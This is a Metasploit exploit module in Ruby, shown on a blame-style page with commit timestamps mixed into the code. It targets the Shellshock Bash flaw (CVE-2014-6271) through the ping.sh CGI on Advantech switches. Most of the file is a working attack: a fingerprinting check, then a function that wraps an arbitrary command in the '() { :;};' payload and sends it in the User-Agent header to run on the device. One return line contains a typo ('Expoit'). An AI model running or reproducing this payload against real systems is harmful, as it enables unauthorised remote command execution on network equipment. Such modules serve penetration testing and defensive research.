Files
metasploit-gs/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb
T

100 lines
2.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)',
'Description' => %q{
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
handles external environment variables. This module targets the 'ping.sh' CGI
2017-08-28 20:17:58 -04:00
script, accessible through the Boa web server on Advantech switches. This module
was tested against firmware version 1322_D1.98.
},
'Author' => 'hdm',
'References' => [
[ 'AKA', 'Shellshock' ],
[ 'CVE', '2014-6271' ],
[ 'CWE', '94' ],
[ 'OSVDB', '112004' ],
[ 'EDB', '34765' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities' ],
[ 'URL', 'https://access.redhat.com/articles/1200223' ],
[ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ]
],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0A\x0D",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'openssl generic'
}
},
'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 01 2015'
))
register_options([
2015-12-01 11:34:03 -06:00
Opt::RPORT(80)
])
end
#
# CVE-2014-6271
#
def cve_2014_6271(cmd)
%{() { :;}; $(#{cmd}) & }
end
#
# Check credentials
#
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/ping.sh'
)
if !res
2016-02-01 15:12:03 -06:00
vprint_error("No response from host")
return Exploit::CheckCode::Unknown
elsif res.headers['Server'] =~ /Boa\/(.*)/
2016-02-01 15:12:03 -06:00
vprint_status("Found Boa version #{$1}")
else
2016-02-01 15:12:03 -06:00
print_status("Target is not a Boa web server")
return Exploit::CheckCode::Safe
end
if res.body.to_s.index('127.0.0.1 ping statistics')
return Exploit::CheckCode::Detected
else
2016-02-01 15:12:03 -06:00
vprint_error("Target does not appear to be an Advantech switch")
return Expoit::CheckCode::Safe
end
end
#
# Exploit
#
def exploit
2015-12-01 10:59:12 -06:00
cmd = cve_2014_6271(payload.encoded)
2016-02-01 15:12:03 -06:00
vprint_status("Trying to run command '#{cmd}'")
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/ping.sh',
'agent' => cmd
)
end
end